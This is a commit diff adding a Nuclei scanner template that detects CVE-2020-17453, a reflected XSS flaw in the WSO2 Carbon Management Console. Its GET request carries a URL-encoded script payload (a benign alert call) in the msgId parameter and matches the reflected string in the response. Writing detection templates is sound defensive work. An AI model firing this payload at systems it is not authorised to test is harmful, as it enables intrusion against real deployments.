Merge pull request #1140 from Mad-robot/master

Create CVE-2020-17453.yaml

cves/2020/CVE-2020-17453.yaml

@@ -0,0 +1,30 @@
+id: CVE-2020-17453
+
+info:
+  name: WSO2 Carbon Management Console - XSS
+  author: madrobot
+  severity: medium
+  description: Reflected XSS vulnerability can be exploited by tampering a request parameter in Management Console. This can be performed in both authenticated and unauthenticated requests.
+  tags: xss,wso2,cve2020,cve
+  reference: https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2020-1132
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/carbon/admin/login.jsp?msgId=%27%3Balert(%27nuclei%27)%2F%2F'
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+
+      - type: word
+        words:
+          - "'';alert('nuclei')//';"
+        part: body
+
+      - type: word
+        words:
+          - "text/html"
+        part: header